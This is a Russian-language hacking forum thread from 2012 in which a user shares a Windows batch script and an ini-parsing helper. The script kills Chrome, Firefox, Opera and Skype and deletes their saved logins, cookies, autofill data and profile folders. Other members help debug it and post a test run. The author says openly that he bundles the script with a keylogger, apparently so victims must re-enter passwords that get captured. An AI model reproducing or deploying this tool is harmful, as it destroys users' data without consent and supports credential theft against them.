Нужна помощь с батником для удаления данных браузеров

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by PakZ, 25 May 2012.

  1. PakZ

    PakZ New Member

    Joined:
    24 Dec 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    [BAT] удаление данных всех браузеров + skype!

    Написал батник,удаляет данный форм автозаполнения таких программ как:

    • Chrome
    • FireFox
    • Opera
    • Skype

    Скрипт был проверен на XP и Windows 7
    В будущем планирую дописать удаление данных IE (когда найду где они находятся)


    Code:
    @echo off
    
    taskkill /f /im chrome.exe
    taskkill /f /im opera.exe
    taskkill /f /im firefox.exe
    taskkill /f /im Skype.exe
    
    RMDIR "%APPDATA%\Skype" /s /q
    MD "%APPDATA%\Skype"
    
    del %LOCALAPPDATA%\Google\Chrome\"User Data"\Default\"Web Data"
    del %LOCALAPPDATA%\Google\Chrome\"User Data"\Default\"Cookies"
    del %LOCALAPPDATA%\Google\Chrome\"User Data"\Default\"Login Data"
    
    del "%USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data"
    del "%USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies"
    del "%USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data"
    
    for /f "delims=" %%a in ('call ini.cmd %APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path') do (
        set val=%%a
    )
    del "%APPDATA%\Mozilla\Firefox\%val%\signons.sqlite"
    del "%APPDATA%\Mozilla\Firefox\%val%\cookies.sqlite"
    
    
    for /f "delims=" %%a in ('call ini.cmd "%APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path"') do (
        set val=%%a
    )
    del "%APPDATA%\Mozilla\Firefox\%val%\signons.sqlite"
    del "%APPDATA%\Mozilla\Firefox\%val%\cookies.sqlite"
    
    del %APPDATA%\Opera\Opera\wand.dat
    del %APPDATA%\Opera\Opera\cookies4.dat
    
    del "%APPDATA%\Opera\Opera\wand.dat"
    del "%APPDATA%\Opera\Opera\cookies4.dat"
    
    
    del "%PROGRAMFILES%\Opera\profile\wand.dat"
    del "%PROGRAMFILES%\Opera\profile\cookies4.dat"
    
    
    del %PROGRAMFILES%\Opera\profile\wand.dat
    del %PROGRAMFILES%\Opera\profile\cookies4.dat
    
    Для удаления данных FireFox нужно что бы рядом с батником лежал файл ini.cmd ,код которого ниже:


    Code:
    @setlocal enableextensions enabledelayedexpansion
    @echo off
    set file=%1
    set area=[%2]
    set key=%3
    set currarea=
    for /f "delims=" %%a in (!file!) do (
        set ln=%%a
        if "x!ln:~0,1!"=="x[" (
            set currarea=!ln!
        ) else (
            for /f "tokens=1,2 delims==" %%b in ("!ln!") do (
                set currkey=%%b
                set currval=%%c
                if "x!area!"=="x!currarea!" if "x!key!"=="x!currkey!" (
                    echo !currval!
                )
            )
        )
    )
    endlocal
    Данный скрипт можно юзать в склейке с кейлоггером (как делаю я) либо любой другой программой)
     
    #1 PakZ, 25 May 2012
    Last edited: 28 May 2012
  2. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    AppData\Roaming\Mozilla\Firefox Есть файл profiles.ini, от туда можно спарсить название, но не знаю с помощью cmd врятли получится.
     
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    1. Учишься гуглить
    2. Учишься читать на англицком
    3. Узнаешь, что путь к этой папке можно прочитать из файла %APPDATA%\Mozilla\Firefox\profiles.ini
    4. Нагугливаешь и читаешь http://stackoverflow.com/questions/2866117/read-ini-from-windows-batch-file
    5. ...
    6. Становишься Цукербергом.
     
    _________________________
    afonn and K800 like this.
  4. Bo0oM

    Bo0oM Member

    Joined:
    26 Dec 2009
    Messages:
    2
    Likes Received:
    35
    Reputations:
    21
    Пробуй
    OR
     
  5. PakZ

    PakZ New Member

    Joined:
    24 Dec 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Kaimi
    Спасибо за информацию. Но я,к сожалению,в упор не понимаю как из этого кода
    Code:
    [General]
    StartWithLastProfile=1
    
    [Profile0]
    Name=default
    IsRelative=1
    Path=Profiles/pw2t808c.default
    
    Выдрать "pw2t808c.default" и вставить в батник... Буду очень благодарен если Вы подскажите.

    Bo0oM,спасибо,я тоже думал так сделать но fox просит перезагрузки компа после удаления папки с профилем.
     
  6. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    Не знаю как насчет батника, но с помощью WSH такое запросто можно реализовать.
     
  7. PakZ

    PakZ New Member

    Joined:
    24 Dec 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    и как же?

    UPD
    Подсказали для вывода использовать
    Code:
    @echo off 
    for /f "tokens=1,2 delims==" %%a in ( yourinifile.ini ) do ( 
    if %%a==youparam set PATH=%%b 
    ) 
    Кто может сказать,как это совместить с

    Code:
    del %APPDATA%\Mozilla\Firefox\Profiles\[B]pw2t808c.defaul  t[/B]\signons.sqlite 
    ?
     
    #7 PakZ, 25 May 2012
    Last edited: 25 May 2012
  8. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    2 PakZ, тебе же Kaimi дал ссылку на stackoverflow, скопируй код и пользуй

    Code:
    > ini.cmd %APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path
     
    _________________________
  9. PakZ

    PakZ New Member

    Joined:
    24 Dec 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Gar|k
    Скрипт ini.cmd взять из темы по ссылке? Ох...как связать
    Code:
    ini.cmd %APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path
    и
    Code:
    del %APPDATA%\Mozilla\Firefox\Profiles\pw2t808c.default\signons.sqlite
    ?
    А то мозг сейчас выпрыгнет) Я только сегодня за батники взялся)
     
  10. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Ну там же и написано, как я понимаю так

    Code:
    for /f "delims=" %%a in ('call ini.cmd %APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path') do (
        set val=%%a
    )
    del %APPDATA%\Mozilla\Firefox\%val%\signons.sqlite
    
     
    _________________________
  11. PakZ

    PakZ New Member

    Joined:
    24 Dec 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Положил рядом ini.cmd,прописал в него

    Code:
    @setlocal enableextensions enabledelayedexpansion
    @echo off
    set file=%1
    set area=[%2]
    set key=%3
    set currarea=
    for /f "delims=" %%a in (!file!) do (
        set ln=%%a
        if "x!ln:~0,1!"=="x[" (
            set currarea=!ln!
        ) else (
            for /f "tokens=1,2 delims==" %%b in ("!ln!") do (
                set currkey=%%b
                set currval=%%c
                if "x!area!"=="x!currarea!" if "x!key!"=="x!currkey!" (
                    echo !currval!
                )
            )
        )
    )
    endlocal
    Запускаю скрипт

    Code:
    for /f "delims=" %%a in ('call ini.cmd %APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path') do (
        set val=%%a
    )
    del %APPDATA%\Mozilla\Firefox\%val%/signons.sqlite
    
    pause
    Появляется вот такая ошибка...

    [​IMG]


    PRE-FINAL UPDATE

    Все заработало,когда я взял в кавычки:

    Code:
    for /f "delims=" %%a in ('call ini.cmd %APPDATA%\Mozilla\Firefox\profiles.ini Profile0 Path') do (
        set val=%%a
    )
    del "%APPDATA%\Mozilla\Firefox\%val%\signons.sqlite"
    
    pause
    Сегодня через часа 2 опубликую финальный вариант!
    Всех отблагодарил :)

    UPD - обновил шапку. Всем спасибо! Кому интересно-развиваем тему и спрашиваем,отвечу на все вопросы. Можете предлагать профили каких прог удалять так же,добавлю)
     
    #11 PakZ, 25 May 2012
    Last edited: 26 May 2012
  12. vinosh

    vinosh Member

    Joined:
    29 Oct 2011
    Messages:
    72
    Likes Received:
    15
    Reputations:
    5
    Code:
    C:\Documents and Settings\Admin\Рабочий стол>RunDll32.exe InetCpl.cpl,ClearMyTra
    cksByProcess 32
    
    C:\Documents and Settings\Admin\Рабочий стол>RunDll32.exe InetCpl.cpl,ClearMyTra
    cksByProcess 2
    
    C:\Documents and Settings\Admin\Рабочий стол>taskkill /f /im chrome.exe
    Ошибка: Не удается найти процесс "chrome.exe".
    
    C:\Documents and Settings\Admin\Рабочий стол>taskkill /f /im opera.exe
    Успешно: Процесс "opera.exe", с идентификатором 2028, был завершен.
    
    C:\Documents and Settings\Admin\Рабочий стол>taskkill /f /im firefox.exe
    Успешно: Процесс "firefox.exe", с идентификатором 2240, был завершен.
    
    C:\Documents and Settings\Admin\Рабочий стол>taskkill /f /im Skype.exe
    Успешно: Процесс "Skype.exe", с идентификатором 2236, был завершен.
    
    C:\Documents and Settings\Admin\Рабочий стол>RMDIR "C:\Documents and Settings\vi
    nosh\Application Data\Skype" /s /q
    C:\Documents and Settings\vinosh\Application Data\Skype\SHARED~1\dc.db - Процесс
     не может получить доступ к файлу, так как этот файл занят другим процессом.
    C:\Documents and Settings\vinosh\Application Data\Skype\SHARED~1\dc.db-journal -
     Процесс не может получить доступ к файлу, так как этот файл занят другим процес
    сом.
    C:\Documents and Settings\vinosh\Application Data\Skype\SHARED~1\dc.lock - Проце
    сс не может получить доступ к файлу, так как этот файл занят другим процессом.
    C:\Documents and Settings\vinosh\Application Data\Skype\SHARED~2\queue.db - Проц
    есс не может получить доступ к файлу, так как этот файл занят другим процессом.
    C:\Documents and Settings\vinosh\Application Data\Skype\SHARED~2\queue.db-journa
    l - Процесс не может получить доступ к файлу, так как этот файл занят другим про
    цессом.
    C:\Documents and Settings\vinosh\Application Data\Skype\SHARED~2\queue.lock - Пр
    оцесс не может получить доступ к файлу, так как этот файл занят другим процессом
    .
    
    C:\Documents and Settings\Admin\Рабочий стол>MD "C:\Documents and Settings\vinos
    h\Application Data\Skype"
    Подпапка или файл C:\Documents and Settings\vinosh\Application Data\Skype уже су
    ществует.
    
    C:\Documents and Settings\Admin\Рабочий стол>del \Google\Chrome\"User Data"\Defa
    ult\"Web Data"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del \Google\Chrome\"User Data"\Defa
    ult\"Cookies"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del \Google\Chrome\"User Data"\Defa
    ult\"Login Data"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>for /F "delims=" %a in ('call ini.c
    md C:\Documents and Settings\vinosh\Application Data\Mozilla\Firefox\profiles.in
    i Profile0 Path') do (set val=%a )
    "ini.cmd" не является внутренней или внешней
    командой, исполняемой программой или пакетным файлом.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Application Data\Mozilla\Firefox\\signons.sqlite"
    Не удается найти C:\Documents and Settings\vinosh\Application Data\Mozilla\Firef
    ox\signons.sqlite
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Application Data\Mozilla\Firefox\\cookies.sqlite"
    Не удается найти C:\Documents and Settings\vinosh\Application Data\Mozilla\Firef
    ox\cookies.sqlite
    
    C:\Documents and Settings\Admin\Рабочий стол>for /F "delims=" %a in ('call ini.c
    md "C:\Documents and Settings\vinosh\Application Data\Mozilla\Firefox\profiles.i
    ni Profile0 Path"') do (set val=%a )
    "ini.cmd" не является внутренней или внешней
    командой, исполняемой программой или пакетным файлом.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Application Data\Mozilla\Firefox\\signons.sqlite"
    Не удается найти C:\Documents and Settings\vinosh\Application Data\Mozilla\Firef
    ox\signons.sqlite
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Application Data\Mozilla\Firefox\\cookies.sqlite"
    Не удается найти C:\Documents and Settings\vinosh\Application Data\Mozilla\Firef
    ox\cookies.sqlite
    
    C:\Documents and Settings\Admin\Рабочий стол>del C:\Documents and Settings\vinos
    h\Application Data\Opera\Opera\wand.dat
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del C:\Documents and Settings\vinos
    h\Application Data\Opera\Opera\cookies4.dat
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Application Data\Opera\Opera\wand.dat"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>del "C:\Documents and Settings\vino
    sh\Application Data\Opera\Opera\cookies4.dat"
    Системе не удается найти указанный путь.
    
    C:\Documents and Settings\Admin\Рабочий стол>pause
    Для продолжения нажмите любую клавишу . . .
    Windows XP Zver 2011.9
    профайл оперы ибо взят со зверя
    C:\Program Files\Opera\profile
    (такое редко, но случается что путь именно такой)

    Хром у меня просто не стоит, щас трафик даже на него взять негде, скорость плачевная.
    Запускал на виртуалке
     
    #12 vinosh, 26 May 2012
    Last edited: 26 May 2012
  13. PakZ

    PakZ New Member

    Joined:
    24 Dec 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Windows XP Zver 2011.9
    профайл оперы ибо взят со зверя
    C:\Program Files\Opera\profile
    (такое редко, но случается что путь именно такой)

    Хром у меня просто не стоит, щас трафик даже на него взять негде, скорость плачевная.
    Запускал на виртуалке


    Огромное спасибо за тест! Сейчас допишу еще один профиль!)
     
    #13 PakZ, 27 May 2012
    Last edited: 27 May 2012
  14. afonn

    afonn Member

    Joined:
    10 Aug 2015
    Messages:
    117
    Likes Received:
    42
    Reputations:
    0
    как на винде запустить изначально ?